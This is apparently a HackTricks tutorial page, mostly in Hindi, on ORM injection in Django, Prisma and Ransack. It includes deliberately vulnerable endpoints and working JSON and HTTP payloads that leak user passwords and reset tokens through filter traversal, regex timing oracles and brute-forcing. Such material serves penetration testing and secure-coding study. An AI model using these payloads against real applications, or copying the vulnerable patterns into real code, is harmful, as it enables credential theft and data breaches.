ORM Injection

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Django ORM (Python)

In this post यह बताया गया है कि कैसे Django ORM को कमजोर बनाया जा सकता है, उदाहरण के लिए, एक कोड का उपयोग करके:

class ArticleView(APIView):
"""
कुछ बुनियादी API दृश्य जिन पर उपयोगकर्ता लेखों की खोज के लिए अनुरोध भेजते हैं
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

ध्यान दें कि सभी request.data (जो एक json होगा) को सीधे डेटाबेस से ऑब्जेक्ट्स को फ़िल्टर करने के लिए पास किया गया है। एक हमलावर अप्रत्याशित फ़िल्टर भेज सकता है ताकि उससे अपेक्षित से अधिक डेटा लीक हो सके।

उदाहरण:

  • लॉगिन: एक साधारण लॉगिन में प्रयास करें कि उपयोगकर्ताओं के पासवर्ड लीक हो जाएं जो इसके अंदर पंजीकृत हैं।
json
{
"username": "admin",
"password_startswith": "a"
}

caution

यह संभव है कि पासवर्ड को ब्रूट-फोर्स किया जाए जब तक कि यह लीक न हो जाए।

  • Relational filtering: यह संभव है कि संबंधों के माध्यम से यात्रा की जाए ताकि उन कॉलमों से जानकारी लीक की जा सके जिनका उपयोग ऑपरेशन में होने की उम्मीद भी नहीं थी। उदाहरण के लिए, यदि यह संभव है कि एक उपयोगकर्ता द्वारा बनाए गए लेखों को लीक किया जा सके जिनके ये संबंध हैं: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password)।
json
{
"created_by__user__password__contains": "pass"
}

caution

यह संभव है कि उन सभी उपयोगकर्ताओं का पासवर्ड पाया जा सके जिन्होंने एक लेख बनाया है

  • Many-to-many relational filtering: पिछले उदाहरण में हम उन उपयोगकर्ताओं के पासवर्ड नहीं ढूंढ सके जिन्होंने एक लेख नहीं बनाया। हालाँकि, अन्य संबंधों का पालन करते हुए यह संभव है। उदाहरण के लिए: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
json
{
"created_by__departments__employees__user_startswith": "admi"
}

caution

इस मामले में हम उन उपयोगकर्ताओं के सभी उपयोगकर्ताओं को ढूंढ सकते हैं जिन्होंने लेख बनाए हैं और फिर उनके पासवर्ड लीक कर सकते हैं (पिछले json में हम केवल उपयोगकर्ता नाम लीक कर रहे हैं लेकिन फिर पासवर्ड लीक करना संभव है)।

  • Django Group और Permission के many-to-many संबंधों का दुरुपयोग करना: इसके अलावा, AbstractUser मॉडल का उपयोग Django में उपयोगकर्ताओं को उत्पन्न करने के लिए किया जाता है और डिफ़ॉल्ट रूप से इस मॉडल में Permission और Group तालिकाओं के साथ कुछ many-to-many संबंध होते हैं। जो मूल रूप से एक उपयोगकर्ता से अन्य उपयोगकर्ताओं तक पहुँचने का एक डिफ़ॉल्ट तरीका है यदि वे एक ही समूह में हैं या समान अनुमति साझा करते हैं
bash
# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • फिल्टर प्रतिबंधों को बायपास करें: उसी ब्लॉगपोस्ट ने कुछ फ़िल्टरिंग का उपयोग बायपास करने का प्रस्ताव दिया जैसे कि articles = Article.objects.filter(is_secret=False, **request.data)। यह संभव है कि हम उन लेखों को डंप करें जिनका is_secret=True है क्योंकि हम एक संबंध से Article तालिका की ओर वापस लूप कर सकते हैं और गैर-गोपनीय लेखों से गोपनीय लेखों को लीक कर सकते हैं क्योंकि परिणाम जुड़े हुए हैं और is_secret फ़ील्ड गैर-गोपनीय लेख में जांची जाती है जबकि डेटा गोपनीय लेख से लीक होता है।
bash
Article.objects.filter(is_secret=False, categories__articles__id=2)

caution

संबंधों का दुरुपयोग करके डेटा दिखाने के लिए बनाए गए फ़िल्टरों को भी बायपास करना संभव है।

  • Error/Time based via ReDoS: पिछले उदाहरणों में यह अपेक्षित था कि यदि फ़िल्टरिंग काम करती है या नहीं तो विभिन्न प्रतिक्रियाएँ होंगी ताकि इसका उपयोग ओरेकल के रूप में किया जा सके। लेकिन यह संभव है कि डेटाबेस में कुछ क्रिया की जाए और प्रतिक्रिया हमेशा समान हो। इस परिदृश्य में, एक नया ओरेकल प्राप्त करने के लिए डेटाबेस त्रुटि उत्पन्न करना संभव हो सकता है।
json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
  • SQLite: डिफ़ॉल्ट रूप से regexp ऑपरेटर नहीं है (तीसरे पक्ष के एक्सटेंशन को लोड करने की आवश्यकता है)
  • PostgreSQL: डिफ़ॉल्ट regex टाइमआउट नहीं है और यह बैकट्रैकिंग के प्रति कम संवेदनशील है
  • MariaDB: regex टाइमआउट नहीं है

Prisma ORM (NodeJS)

निम्नलिखित इस पोस्ट से निकाले गए ट्रिक्स हैं।

  • पूर्ण खोज नियंत्रण:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

यह देखना संभव है कि पूरा जावास्क्रिप्ट बॉडी prisma को क्वेरी करने के लिए पास किया गया है।

मूल पोस्ट के उदाहरण में, यह किसी द्वारा बनाए गए सभी पोस्ट की जांच करेगा (प्रत्येक पोस्ट किसी द्वारा बनाई गई है) और उस किसी के उपयोगकर्ता जानकारी (उपयोगकर्ता नाम, पासवर्ड...) को भी लौटाएगा।

json
{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

निम्नलिखित सभी पोस्टों का चयन करता है जो किसी ने पासवर्ड के साथ बनाई हैं और पासवर्ड लौटाएगा:

json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • पूर्ण where क्लॉज नियंत्रण:

आइए इस पर नज़र डालते हैं जहाँ हमला where क्लॉज को नियंत्रित कर सकता है:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // ORM लीक के लिए संवेदनशील
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

उपयोगकर्ताओं के पासवर्ड को सीधे इस तरह से फ़िल्टर करना संभव है:

javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})

caution

startsWith जैसे ऑपरेशनों का उपयोग करके जानकारी लीक करना संभव है।

  • Many-to-many संबंध फ़िल्टरिंग को बायपास करना:
javascript
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})

यह संभव है कि प्रकाशित नहीं किए गए लेखों को Category -[*..*]-> Article के बीच कई-से-कई संबंधों को लूप करके लीक किया जा सके:

json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

यह सभी उपयोगकर्ताओं को लीक करने के लिए कुछ लूप बैक कई-से-कई संबंधों का दुरुपयोग करना भी संभव है:

json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: मूल पोस्ट में आप एक बहुत विस्तृत परीक्षण सेट पढ़ सकते हैं जो समय आधारित पेलोड के साथ जानकारी लीक करने के लिए सर्वोत्तम पेलोड खोजने के लिए किए गए हैं। यह है:
json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

जहाँ {CONTAINS_LIST} 1000 स्ट्रिंग्स की एक सूची है ताकि यह सुनिश्चित किया जा सके कि सही लीक मिलने पर प्रतिक्रिया में देरी हो।

Ransack (Ruby)

ये ट्रिक्स इस पोस्ट में पाई गई थीं

tip

ध्यान दें कि Ransack 4.0.0.0 अब खोज योग्य विशेषताओं और संघों के लिए स्पष्ट अनुमति सूची के उपयोग को लागू करता है।

कमजोर उदाहरण:

ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

ध्यान दें कि क्वेरी को हमलावर द्वारा भेजे गए पैरामीटर द्वारा परिभाषित किया जाएगा। उदाहरण के लिए, रीसेट टोकन को ब्रूट-फोर्स करना संभव था:

http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

ब्रूट-फोर्सिंग और संभावित संबंधों के माध्यम से एक डेटाबेस से अधिक डेटा लीक करना संभव था।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें